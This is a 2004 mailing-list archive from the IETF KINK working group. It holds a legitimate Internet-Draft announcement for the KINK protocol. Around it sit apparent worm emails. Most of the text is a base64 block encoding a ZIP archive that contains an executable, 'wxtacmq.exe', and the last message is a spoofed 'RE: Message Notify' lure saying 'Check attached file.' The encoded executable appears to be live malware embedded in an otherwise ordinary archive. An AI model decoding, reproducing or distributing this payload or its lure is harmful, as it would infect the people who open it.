rkg5kXyP2x6B33zaTM7Dg2/axx8WjyAvsHZTYkPEx2cqze+CCgzBlqktmL3/tjXFAQsoorqq mndRd6aAB6SeRXZ4CrrmHFWERpZ+8RePj50Crzbt5vlQUgqm5quZ0aAJGgv3+PKjJ0R9kxXP /kJEytbaeT4UWHHrFaVI09AWKaXLctwjELa2GUp/Enofl2Z3dscu9w0jXIlDmyeaoq8glZ85 X/jPijtkJZinAuE784lICr3cFwGuoU70Ipft0qkMQdmfkvHR9f/efvDs8FfmTC/FJvVdMYpa SX5hk/WqC3PtK0TmWo638mV+EfKaTJuObJwJxqD44l4S/6x7v/Dyph1hpFeeStWtFms3TzOk p1bAS3MD8a+WXg7KyLDwa+1JPCemXWfo9Fdx/Vx2SZcJn6X+hgYgZb5mlwJgshtyLmcUJ6tc B40k+41V5sZl7nd1NlaIcN3yZzni7ynzRJ2OH21XruHS3XH78mPCksvart656ZCK4dHtmSRc 8+tayT9tGPWKwrb9ml6o/9BYeGLwRM3YZ5tySwhtW43XNV2lmokfnpoyJsHdLok7plHwTypf a6YEdxwRMGkCkXn1sDb04syPginz9YVnnCXblXvq9Otw1KjlEJos1WsMSZxTiWDY+utJQjHb pzEy7paQg/s2NtCKciFff7+b/73RNKRxM4OOjq1cMnLsq9VhiVn98BnSRgMl9Yl73Lb7KPOx FuiIWDzIYOQk8+T5DLt0z3ancDXD/EQppdI8cWuz9JgIlTAT2ebuORy/VHEs01J4Yzj+6BfC sk+GCewR4hkzR1NMXfDRYqo2LYxE+zk/juuIh+JC5369uPTKTKG1lk4NfhKF2sxVgf70tICJ cZV7DOyfrkj8kXk9pScPKI852W7/b8IqpfhL4jBPqLaLUsUDCWCzFiLpFmU9RxSPbYb8QCiL 41vc/E74Mm57HTjmVpRg+SsZA6SnoFfMVMkcoF5j3LoRweQpK1W1rzlpP75jmnJv8N1SJeYt vpz2+SGee0mq5oLJefJeMrmhKQBJ300jaKqf2d3vmXUm2xZHuS+fMEmQVfBNeNmD5loVPf2w C+d+ZF7kBGKZDhf9D9P5R8v6sjlcAeBeQRQEHrt5zgBtqLbS29uryMdjT61YwD3yWbUUoc4k kjXPTEPSlkwvSYYPh8CIBY3Y6lKZzZXV0d1WtpMMp0EoqQIxMlHiL+RsJ6gQNwjTMRgu0/Xg bg/2zKISGZCpCSvnZarT9avFo++mjDpGoWt1RtUkpk/xGiE/lcHHxqoVA5OQFDob9rIN1HF0 FPtg1qY1yET9xMazdk5uUxddQmPWvHiacEpZ7wZpC5SHtDKDj38Vl60PX11zSq+ivPQgMojz JkhLo7GUY4UseOHbDljjXdHby73fbiUFfhgz7u3SiEtXCyfcuN5gvBPzkXlH10Kf+itfLMp/ w5N2KozF0KAmH5AUVnHrTc3uN6Tj2IzC81b4R3HTnDap6kzSq3a2P8K1u7d23ZowQ2FMYUl4 8HGmo0IgV8zBqQCROvO7KZWhwk1DBlhL2XY5tX9P3WeakLGGYaz+m0jHb59rPewdluKMSrpX VHqCVfoAEZaXEkge57EFoJ5hJt5lLD03s4PTqJyKW+MqMmRpIY5qnwpo9ZeAnw7qju+4aOT8 GDNpLaHQyw427etNY1aTTMNmPjTbGRkwPQuiT1iPnCm3OZOSU8qeihDgmhlo6p6/EHeSLhpb rSYqPaiRTEm2Vcyv3J7u69ZASI4j5bf1E8fDBCYExKenBDU0ldQohoPhclwjUfc9oqqghbyh 1ImnOtoJv9f6ZI5nYUHg92Y89UCpWi3vCRMDgN5feCg2KtUEBsCno2cYGSEgZwTO5rhQ9dC1 6AVo2LHrnKzPIQ/Jx6hhtwKkJ/L1gBLSUYG+EauF0ui40GPigOAMCPiIOkODtAWLhCmYXAqU fCjN0TZ3HsD5t97uZFMJ53Sga/Vp0HjJjmVgpTvKSU41y5zWImJxqxPg39u6a32sQXq47nNz hiFofiJcfjNIHEl5ToKKuOwxfoljbVGDiwrn8fTHY+tj4jyN4stn07/qLvwMSHzP20t1oHy/ BTMOAlTIO0mlnPifzTSxhSpcvZV4XPkTJjcA9PSBNw/T7jyD8wTwZOsxh8QRdxlr5FrgyYKL CuSTXHS6F6EyKZ7tdA406FUhL6XMNWjDCbKcYtOod6hmh5VZvykyvaFMFYQ1/ilp6Djl8Pna 7LNr76II5S+RdnDydd7vsdMOQliqMzCqzhgIvbDSMMXhpeR4x/E9igcj0buvyW6B8RcedISF +4zbyTonqVPV/QyQ/zCQICYm4DksWtNVQlYiyBfXCuo05wag/MYtEzJ1esYmQGYrqRCHVF+t KCXLHT+AVb61ssYwgv1s0omKKwiRqO6LqvdyUMia8llsRDp2Ei4MMPrH/lyB4ZrtGazbLhIv Sqx2FOXXvYF8NLttf4Ft1+mwdyX5hmd3ObzkePlMXLkEGzhqP93ZylIh6VBTsv6CshSbYlpt Mv9cezP+xtMOnopKvBoTorjTuEmkW7cjvphAsSSHhc/acihmoAUPm8pdLusrADXW5AT74J+3 2UeT5dfygWNH9qZpsjsrrflNnHSPT8krcD7NuJstk5vldXk+/5LMzJ8auXW4m+0Ni/JhBZ/O VcW3uPyTllNkqwyp8I/5xKraOgeiBcufZIitue/kYj+AH4SpAnTP7FIP1ZAySNOB0Xa96WMs n6Or+vccOCbqDQ/hw1X7J9dhhZN2U2sFjUKsw1zRLSBb0ZFJrZXPnBJwzlmhjkEAgnNNntR/ V5AwU9DQbI8Ag3zXuGWBbPbTQmm2D4N2Sj0W5TlPmVp8lLiHo0ZV08o7Lf7xyX75xOPGp9kS DEwqNdnwL+KJnVnV+17iH/gbKL6j1BnH1xRjYl/pAdRn2rzGXTZV3khuahUnL/JOlw+xg9zI lSAnKKwGdbhWsfye+4FmTzm2KyrABkyTJzd342ieadx8r4OrcQ99iBPm7CrbB4Zu7exQ7PCo CSFahSUFnlJHz4MIyLI2+7B7kPQXio7FKmP/hynykFmLESykb7T5/zcV69u+RstzbMBQFMK3 29n8ajtXBTzX0RVAQc5jq8YvE+xTH6PBbjnieOgYAvsyA0ZLwQCEfHkIVwB/lq0mubidHnar 2I+3dGoYeLtQrjyQTVfexzyX36bYdBXTb4MAeLxP8EPBcIAaUbkTB3OzxRkp+V8zFvbqpKbi o93f1qVQMLM1oZQ/Yx/F7k351s05nxZdZLXVfVVsqWgrUhxcprpVxNW1thlMYtL/bJP1gXao 1QWB8bP4srlurpbS2eZqhvd6RbiEsX/LPwNG7MBRkiZ4In/G+iFqvt/JI2KfqyhCw50AA1ra aW0oHnoudQo1V6fINM3qGYfwpxH7aNqZF18JO3bHAsv6nfflOb5teR6DNeEfm9YuFF4yNmfh 8hpaHIKdklfXJmLzdiqu3oPHaimW3PzbdQO12yVfb30XcxraiIuLQ8w1aQfcxiF0J/bZbyuP 7Hwr+auK3uK5HyX1pDSfRzY/5QBM3xxxyqFiZ1PIVCm73WKUEYOPSwKthogoOYSkm7BrOBaZ VhXxtdgRTYuAfZ5aDr1SZBP6f3nSmvs/Yk3XEoKcAKeT1qpYcdCtfsma45iDnCsyQ6RAckgm SFGHsIx/E7t41ngxbm5v6Yv6hpgHW5rkJ580abzGHRRFiHYVbJPsb4SeCldQP6KYt+kuV3Dp QhWA+JOIIepdn9x2/h6DjRY0O0DwYZWWQukvLeLhUWXXN0nQaCfThGmJTr4rRdv0werbiYoO zIALQavZ6IwSeHN+YH4VnPyoYmh33OV6uUB4rI+VM1Shsc+APNGpOxHxoWuudp+/t7R4sxEK 9Dknp5ZIBjXu7sbMnjUCKuTAY3MTZUoKJpKOhDPnE2KkF9atDzWpywqQ9KRwHIpXZx/EWsCl Rpzyg5iL6ljo0Iy5QfaeAIpUgdu0FI+UJxcnK9s9fniSZaAnHY/kbFgD5+/6wdor3QA2h0uD /afZI/HXzb6eiEwmEiieD3+uLf3Aj8Dhdj+moizDXhXghlIVlF7vHiq7waMyTL4HyI+XP5bo 7nq0FUobd+t8pt9xSgTYsO4IF8IpyLeqa4u2pkqT0zxZcsvSHQkFtHAxJHnN1HYfZrRaSb6N 1NvHzI4lhf2VcjQhbCNO09Ub45aSO/K4nzjCQijXRfiCtKEA/OV+aHAn07myYEjwvlGBEFBm +artC8p0OBFQRrp+RZm+hp+3w8vQp6LedqAyH/lQ/zdP+cadOmfIueEJPgCVqY/mXSivLRFI S5XOJIlVNRMiQDVPiEu1q3IkyiJOgLibmT57byqTCc82CX+3css5lKWdYyhHhlHcaZgLXp3s rqTWVVAMrH9HtBCM850FksCsNsSRZmiPbjlEh5hMrqX4Jip4suRAfa+uPuZPu1n57aE6P3Bc 53muGAkPvdJ1H0lK79DrGu7hbZv3N08bbAaF/MViy9CUW9evDCxeVQPH9K+bE9Icc7MWRaYZ YMEjJcJvMehr7fN+qmkfz29MdbDq9MgUb5RSjVr69mP7dJ4RuCy8pbTsY8jC1mrQiw6bhnDG RNpEoIIeN/Z1qxTxj0syaLXLDV/8lFjzCbyn6NJvmWxBpWrlE4HiJT7r/2yXVyBMz6cpyeMC A/iQSwAcAoEV5QaeoqeqUtavEFZOouGxI1n6hQhT19c6bwAn2c5Gd4EsAYSTZok43piOYueT TP7myRtlP9WbpmLG6M/wGL8RbJdAAXWP9EI7kRTv3vOCKa3wIIMpUAmMnqRQNwzzQu331o/9 +/dpZOwpUpVBsPtTJT9mye39SGPZ6k9JywB/rR48wu+bU6Sio0wNyVCkh8CEAN4Icu/hXXQ0 zi/4Pb2XP3czOdLmnMUYdpn8RjWXYk0LsqOrhKZLLcCvYeYyUMb+VcUf9Bv/oWApbpCg/yiY kTUTfk+sw1TK1H/Bhlu/TGoDPHBTkW0UmICr9bslN1Pz+3ZIkVFRWWB8XYoGOj6rhe+AwEzw rFHTtDwMLG4dOBBsbPi4CRQnwT4ey1PZoVgaVDJHkVOv2pIV+tw1pFMCs7Sh9uLreTQhelmm 3iXJnITLJ/vHF9aZK9ivScdIWrgfUHU43VUX7rpNFzFRpyiwitN85/nxZe1NARF+3PZT5LCX hI1W8e7QeQGrqyK68Bx4F/w4VC9E7bDWd/LhVY6b0pKlOLS/Y9hem0E+CfpsVNOm+BeZVHyS dNZ+LT0W+58yRMwgs6ZKsGmO8ETH4JPAuTTKzurhgMh6PC2IJIX08ajFpS7JigyaY6/nCpDK cryC+j5iXKaA7wvhSEDMv+V/a6aKBesE3yxCcWqDf15bNlpFfMVQEWgW6cOTa9pEzIDXlg6K tvCbLYZ8eJkxSxi30M07zfCy7x8dfxd1EA/TSa6F5dNBGOv2jKZ+Kv1p+4ZFZdgGHedVUBFN SM6KNAHK+bEJm1ikg4sdIH1TSoi9cXkUm3fxKnOoz9sRt0SoMjkKzhFZ/EdMN7F7bZbGELK+ v/lYwStVAtyq9MPYoLPUNuyav8FK6WRm+CxYQCxQE/daCR471ob3s4Gq39gbSyd8X6MbxjT9 jPdk52m1Lv4nVVmfzwJdcWcVp6s5DAo1zHeA7DjMAF1AIgrTBPrdZVXQ5t2ePCTuLTyXdmIn AWzr+t6yAWt17uyVvFLYdPwTtMVwvKwWLkZtuH6lby+R6MruBYKkkJe/K7B2kvTxrgpgrI7h ZfYnrj/z260l3wDiHiaBSSlh5HBAHkK5SMqoXrJvnaruHp4WnDSSQhWwWY0XzWKzjhRhswO5 gYK1FOaLskdsOCa9c974Qj/jzNiTbC25eq7IWITbABCHaiVk87e/ZhPTWqopexfpzYC04wdD xyZLA9blfqVNT1lvp7/jE6ryXUnF3BpYaZzpeJP2Tzk8aVfZetU926YnMVKFGD74xZEsnUXP srDZ8wXMJHIyNEKAwBIIsPHTmxg5k7OsoQ2aRSSC2JR7nVJB5Tgvmc8W+H6e825Pd9KlbLI1 ksHCba4BvCcd9XIu8yUFxnXNV4MmLqiBV1l8SnCnMQhRIq0m7Rhz89qebGHke4kp3zG1le5a MGZg0ChoxNdEHCOoKPslS01xe140pm/5oEVx6yCdzl/lXMtlOhOgC0jXj9K1PHRED/CWyZsg ZxQbDtALRjTWuuDR28zet5ZChVEWoBfVEBF1qCZfJ8DQc7th2NVTngwob0kgeB1pLoYJmrjc OcviLF4yq5usr/AomHUWIp0eFkpl1K3umyc49qkVUNWSLo9y+/FT2FmXpdEOVnMa1oClQyo1 YJI6Z2AsLkQgVG2Jupr9YClLi43d2r3MmyY55A+qsRPMSpbAEZzWOJSE5cOkDHfZDpyi3ucG FglV2qpYvC0TVlBcYoxQ74iMaRtpyo2PKIITtXTxmk86M377V3ki6y0EaJbZV5kZ5Li6HhKG J6jiy5jL6cIRJUo31GY42bVf6ori7d8LDmFNPFWvT5/NmQr99jk29O5ZyXNkxyhSQAMrtu0G MUD8L3ih1jJBGzMXL6QhmZGXVB0Oo0Hb5Zwk6azyk8Htm7ce+QtsnFlId4bekg+uI3UJxmbe KqTPf/WLcZxzqVCXnwh1qjYhgWhQsHszw+qvg/5YVjJ+ZX9rkpdaogtSWKXkohxhegAxO1b2 gtxE20UJv2zlYWk8yin0pSn78yZD0qjcWzSfO6Av19Sd6NvNqvAK/Iw7wyzX+Pf7ppbcolWh wgIiG9ySgBn1BzQZPAvAZsj9sYGMTh0k/QE6g9w+5ost5rZKO6gGbdKN4Rq9vnNYraFiZ1Sa lMZaaQGtKG6fnooWdEaoa3odJa+IcivmlZBLKlNUp3lZpJLL1JGU2F5VXyz+9jjGaWgyfPXX ogEN+YZFuTZxJO3xrswPVZuSMVTwowfVMLvoaZfbTGiteMwh988dylj2Ow+HLNxu9Dafv+Vi jZ78xoW5zI6M0h9iMA7FAp5ZZro7m29UnmfPlFtt6Avt8xp1h7MNyor2cGBRnVuqvfSFbEbO tKx4WgBddYHqNlPjhDPrFPbyXJMnCq3qfoP5zYrPviFzTsOvawMfkynRuLzt2IHeKhnWiEnT lQFu2F5DYTXFedZTe355au73wD3lfMKr3mXs0J1ooerVv54ZCectAFmQfRohVjxzKJh0R3KU yNVOQzGCBgoSmEHKTTOXJFinhFA+/alzzqiYmwxY2KpGGnsOMGYzpUquE00DGvMNUuPAYCpV NTGQR+f8D8bziZg8jIIjx4zsG4R9Mf6Alwtf+AF0fBP2CzQsQmAn7taqaMG7ZBFor5hKYzmq Hg+gV0fwgVxjqZJ6feHHWS/znLKPz+6RcqBHqd7kwKp3+ZESaf8UoKokqafGALmxk6HtB4Ai FMKFGYBDpi6Vcvz3Z1cQHXQ4WOXw2LYsENT3t16uI6cbGwbx9ZNEM3hfMV7Drl3WiJB0ruP5 XPKHGpEn8Yma4+pnFhtW8j/pg6PZ8o0pV7gsAnF0/rHh+J8yY1IlC3dhikxOT5qMy4Sy7pT0 jmyrGhljH+Hw6Kv1Z2/Mr/3JQmQOHbe5AlfEi5/Ad6VF50ZxzPq6YK/G0kynKkHVrhaefQFb BgTtjuMHpZXrKrC2S/RCQF373oDVMnRZCGMLNdtSNm15bYf5t+BeelCWavA8pKnlpwmEyt4L 8Vpb++c8hsOPAqYBYFwANjSJSK81FrjVq8lbsji4tYF6r90rM7bJGjKk9Wpajdf0cl6+rGFe pCr9Q36qoNyCb9K5SFfekJI+qnWgmyJD7MeEjOf56YKLS39QC259lUKwu+iF08gd7R5glHNd mZxgveM1W+jTw2h7n2HCxyfEzxFZJCS9AbaewPzBZein3Iu3GV9Hvc6I35Vho7pwUOIzCGAA rPRHS8/FVXZHIm4SOSbab5qguVmS/3nNnT/Y+Yx0Hg7eRs/SI7KEqnzFKpNT+NGEkYtkZsA/ //ibJoSKWBg5t+NLd338VWX00gDEnR97DTaEpOlSXkYEp2if8ykuPpeNU0s0VckDDg8NYm4v ARj/wuD8K7N6XSclIi/T0hasOomz9VUZiccmGNFT1Gb1TlgcgUJF+SnUp9Mq3B6iDGc7qkTy XGjlfiLZTRilTaZ4IlUNyFzjWYyEKdBPaT2NVwK6YteseaeJfBx3IKAOa5kUzUiVqnz9lwmw yPc2/5QxzyWxfULnZNwrN6kIEw3P3vTf1GtRJ5oe1Nwo/uSBoVtnnF8aH5nBvy821hqbz4Nc fTI6QgHlPTQ05V+gxDRPL6VrIW9JII2qdllZemaW9LnMjFr455hUQvR5iCfgCX17FPIxUXcM Uvi20RbO5/GayZ3pxEtdvokYZ7XtMS0emurQ2V4m6pWcV0aJbZ3P5sKjNXEwIoRTlLPJ6KOm gQr5JhoLt8XYDL4hI8/pXGq1FkcGh8r3/Env83SqQvDyNOZreVb38fYRJ3RylfHxGtdQMFHL +8JkdIOWCLUWQOUCiun8DqBjpyx/xASJ6k4OCFLTrEjzZt8Yo+Ewzcam5tvoShIL6BSRqzD+ 7aUDV1CYZnNKu50h4eDc0N6xDzupPRpWax22W9qZ+UCvI+kIfDm6dvAOjBhToJezNtEzGVKD 2ULwjmWdy79mg2mi6tXetpz6reDXc6OCVuTyzsy0+WxL0q0VKdOWlZRBFZzRN76frN5i9uMa zofJbhUSK+6NCxs5FU6eAFvdXxWhapsHDCAJzEN12T0HLNa8MIkJQdn2zgm/5/g9fh7iCHIp YT5+sG6b4Hb+BJNAxQsTozAweRNdOiaOHxsqpmcvNRsZYjTCrVM3LkLULutmcS1xhICIeRQ+ ByDLQWLWliP51J8qADRLyVr3DZY/+CDWntrw7xxjDM6qKSg+xd8H2dYMhPzcRbJXfM589oV2 QdS87L/TR2VvbrnajIgBJjUoEZplOIzsrcOlN+/0WHtxE86XE+T6q7ANv6OLmFS1MPfr2XJA BNkwYkawJfR8ng+7KH5wiJyUcKLi1rVD/3RcEKDZzTFQ2JRuDWqY/VJG/5fRVgPGS4nTMihU X0p6jvx20H4Qs28+gq8CcF45Xl92teHMKLdSG3zpAByw0POZo0omdT2X/M7nLSMMP/ej1hxv uwrYcjBjOTqADuIseMQ7X4Jj1Jk3LMmn0LxM6hRUUG6ds0VKA3KoeOshNf3o041TG6+AHcEV KKtUwA7oE1zZruxQQfIvJ/ogqN9qbn4lfOMznFTiL2pq/E7vky+418jSHG7hIJdU2bAC4Fe/ k0NtO2rnBfnMEDcID8XFZLmEWMhm1dbeg6IrSnVSiNeuyo2FI9IYK3D56HdaHBA7A2kSzme2 37b89uYk0ldSGmqzyuK48+q4C2muXKwNeTNJmPAPZUIKrPhE5TQLF2LNik/BJ/bLort3EucJ Ahr7EAVQd02KTDjfhD6a9oZZ4TALlJJimdY/5UhqHTqyltKccTZG/jdl+ouQrSfv4jCfVY6T WAMiX6Q3bgy51jpuj0SPh04wfh2IZoKens5/qbzwLLh0pCcawo3P++xZogaEgzphcTB3EflE krkwwzI2cEWJYS/bED1+BRnQ0Q2yuP2RJqppqfFtr39vF0cHsHaR+lIh28keodAZHeNx0E/n I5XYFS5nBPfl044DE1qtokadbQGbFyrkdmIjaITxObum25UIYkInwloQlY2G3VJ7aTKCHzhy fPZ/u2RGewjzseUCiyA0qxP/SkwHyyHsgFlJwQFqf2hLnt/7fix5gU/Nei9CVoxovFoW0/KR QqsFya2zmBFWVJ5pc4lfJpJn74cJRTe23DY57Nw6sD6SbAe21L01LyzTZMCzttEH0LbudoE/ cj6GDkwKKP1V3/nqM/Scd7xkBkd0sNCUdLveCTgJ55+Uy+ZZ0dT9ZoZgv3Zwiinn1PWDI++v 78e8LZ5vCBdnUJ7JDKjr2MoBCXDRzvDMawe4iWWimAx7FK8WMv9bmJfmrhVidhu14FjlpGFm 2ck4FcGsAS9RWzt/ox4LBAVhmE9IrkssHeOAg3gwlchZTnNRDPI0u/07jnWw6cGthNN934qH 2llUzZB46jwk6NF6vj6BVAk4HCAkPI5UCJYazYIPaztTcYkBirwSlwqyVI4d6IWF6bsI01KN vA2VgIMO43IpCtOm7FrSYK5C87T4ATl1tw5kH9mG0nbOBUNRyJd9YHd9H4cKmLYk7JWhJXN6 5BiDrMZ2fbx5+a1naXLJsMF3AlMsRwuZBq9IxHZ95V/yBZqQ9IBtOBP5RxRimPx1PstCToyG qKgH+Ga1myaUCQohYrC0/8LBsHRvyYpVeXgFiTvFcTfr0wrrvtzdFuftk3kPo42bOLWw4OdL E2vOlDv7iTSeS4Y+lgf3Km1uIU+q/AGq0l9TV5hT/NKuDSNcCBkTW30nD1Fj1ejd6tRa3Bg7 380ht6m10dCjgK2ssaUS5ZDrHutOfTc62GW4GDdHCMBQQC2vA6w8ML4K2TnFl7ERoLyrjlc3 FLoseS9pIq66nLZIYdYCdh/khFDKEyDE+WtuZrmRrwWQy74juRtfVwNA2UDjoYJbwkHdUn+R 6owikJ0ZTrJDcvDlvaLZ5n6uTNThl1B3pT59vd8p4wQd37Glt57R62zUfx1RrlsODiEQFJQm UPF8iwgWq3ba98R1iIE2mJoBifGIKDiT+LiAQAtA/vMl6+K+QRQYnFiNyoBqFssaYPTCy7xo 6w5y+D405qm+gaQlOnIMbeH7wgrm17iYeS7+6cUfVPpx4r0Sovp7Fr3ArkeE6a6sc0hEZwYI PSG/RIb1Rvn+APt+zN9QOpU6TCwY4in3PbtsL0p2heFDj7ARfns6uWEKer2JyXHrlKOoUZVe 9X5V1yFJC/mY9j7yQkyoJlI2o3QfsvYOkopIOoM9y2cXZvyIKCc3ejimGM4qMomfbkZStAra 3FJVvR/1wCXRKYtzigB3TWNTd3VXpoMz6BoMR43D9b0K5XfixgJEu/WJY4d02OuIECpLGE0T wA7wEoz8Li+0sHtt2K6EbnFNA2eCNjWAH0CGa5b+dOX+dcf7+xRXNso2l6CXIM7boG4a8/Et RqbqgctKFxbx2m2P4uOe6zMcbRdDsynmasecA2/D+P9XP7WhtWrkpWi3f32ShbOCCiKj/xdd mnUDQ2IMG+ZCwGtrYMLfSMXO1fT1UQZIbp+LRPzFyU9WSdIOgDqDFk69Z0yZYlSUu9LuuweS MrbYv2mKlDv0xTJmkwgxFh7bDC6Hp3fv9hnZKIXrUrEuu8nDU0VdPkwiDvORHyx2tD7/qPF8 pWUg2JHIgITmoUFAM+uS8xEXX1d63MynlAf8L82F1JCdzGDagl9hFn/yjTevRW06sEOYb003 S/LuqLKyoC2KpEGKl7V2UgXhPjuGW6C4oNvh+mH9i944ldvaacVIbii2SM9gqqsA+5Ydrpxn oRLyz3GgTHkfm2RTpRWYGIcEdeSICG65XZyhSCRmK37cmh1kbwnyCpgDhtG2+JoAkLbrH8g7 Qu9Km2vwD2ZOzKNyC5QfC1FMacIdC1Iu12/FAIvfj2DzEcRwDe71UMcmeZHu8AAr2DbTtFJE FjQ8mNxD+yXuS22bW+ULYrcCK/eXaaZjVdonyd7bo73lnRzXnxC/5JU/HrC6Dp0nuuM57xm8 cutB8yBWey10ZWZdfpu1MoJCUqQZR1/eR+NVU2HLYrvet5SblQkhQH9ABL/i5DfajPlGHVs3 3PjpJ1iYkl77IykbxW1ri8npVXK7ksnwF9MADtb6zJ+/7BRU0imBlFeTgW62HtwUahIQZxN2 rapsZvkROgGUc+GgMCM8Dkd/+0zPWTqOX48SDNLYG/Z0CKJsFZmKZioSfEHLA3n/hOexSGaB IFzQsuy1Yb92Mrqy+aYofUvHene1Fyy/Sc4t/c/yguFUKgH3lAlxGmeF1Vl9pqo/RcnQqMMs GnwJy0h+mLKGYn3/rNGIyUaye5qfyrvih9rgemzXOaBfeLsv/WNN1ABMqtwr9RWoW29Rxryo 6Sp3ToFHGGCddY1i8gPG5S2RZYQUdv35Vufwkk2xFFTG9Qq52i4p1wx0YDod6NAOUBuSVNwB 6LqYs2Vmc/TzeKcjN5jniV1Tj9a/Z5fZWuZrgASQ+LMZH6F3k3PJlDb4U622Ahz+vpvH3dHC 7EOxDTpWy/EWcKOMWl+53xx7n3x69eCpM6kORPT5Gbys4DUNxZclNuIIwqxE6MPuiRWyNNvz PVR70lAaBxxiD8yf9TMeIkBv4fi0CE7eakw1Nhqt4rU100KvDdvwJId34J23r6eNPop4oUAa vzIuYOhum3cIV0c38+yDjDG00DVESN9QlpIi/zxRqrWemfkqM0/+2xc7phqY6GbGQTN4xDdO 3SFY+XziVxZmmtfs4hyTtrLGhmGKTITTaBtmpWqL/fnv0lvyun8adh3nQgnvUlU/EsDCiPq/ pYEm4rDB1JAGGLwAYu+y1Mr+QngnmNci/O/ufAQajusRSigD4P5j4RAhbIN+WZzVoGFecZRr XE8OlpivEiBx8Gk4voI/ztgCwNGQLUVUGAehiBOY4gehpIXl59gf1RVGYQIpoOC+tQJ4oc9k Qh2sPEO9xaw8oOcR/DvvcE5jXSrkRsCs10kAH7DBGyBmUvHwpBg6LJrF1ZPq2TNbcuEZERiS m4jzbOPXC83yhScYgBU53LGsqDxv+ixR+mMFs9gcITuCY1oWBfL8MS+KfVC4DCkKk5ONxexU uheTUEsDBAoAAQAIAAB3vDDVuYmKFwAAAAYAAAAKAAAAbXZrcXNuLnZpZKy9l5P7sjlOer+p DPzW+cfWMui0VZx9UEsBAhQACgABAAgAAHe8MFq+1m0sUwAA3U8AAAsAAAAAAAAAAQAgAAAA AAAAAHd4dGFjbXEuZXhlUEsBAhQACgABAAgAAHe8MNW5iYoXAAAABgAAAAoAAAAAAAAAAQAg AAAAVVMAAG12a3Fzbi52aWRQSwUGAAAAAAIAAgBxAAAAlFMAAAAA ----------gegziiwnmtxvnjoslvdg-- From owner-ietf-kink Thu Jul 15 12:23:17 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i6FJNH0V098029; Thu, 15 Jul 2004 12:23:17 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i6FJNH7U098028; Thu, 15 Jul 2004 12:23:17 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i6FJNGXS098021 for ; Thu, 15 Jul 2004 12:23:16 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16521; Thu, 15 Jul 2004 15:23:17 -0400 (EDT) Message-Id: <200407151923.PAA16521@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-06.txt Date: Thu, 15 Jul 2004 15:23:16 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas, J. Vilhuber Filename : draft-ietf-kink-kink-06.txt Pages : 38 Date : 2004-7-15 The Kerberized Internet Negotiation of Keys protocol (KINK) defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to set up and maintain IPsec security associations using Kerberos authentication. KINK reuses many ISAKMP Quick Mode payloads to create, delete and maintain IPsec security associations which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-06.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-06.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-06.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-7-15152117.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-06.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-06.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-7-15152117.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Fri Jul 16 07:04:22 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i6GE4MOs071311; Fri, 16 Jul 2004 07:04:22 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i6GE4MfX071309; Fri, 16 Jul 2004 07:04:22 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from delgnb073.net ([161.196.168.206]) by above.proper.com (8.12.11/8.12.9) with SMTP id i6GE4KgJ071277 for ; Fri, 16 Jul 2004 07:04:21 -0700 (PDT) (envelope-from jtrostle@cisco.com) Date: Fri, 16 Jul 2004 09:52:52 -0400 To: "Ietf-kink" From: "Jtrostle" Subject: RE: Message Notify Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------nvezpezkysodxgfxkfms" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------nvezpezkysodxgfxkfms Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Check attached file.


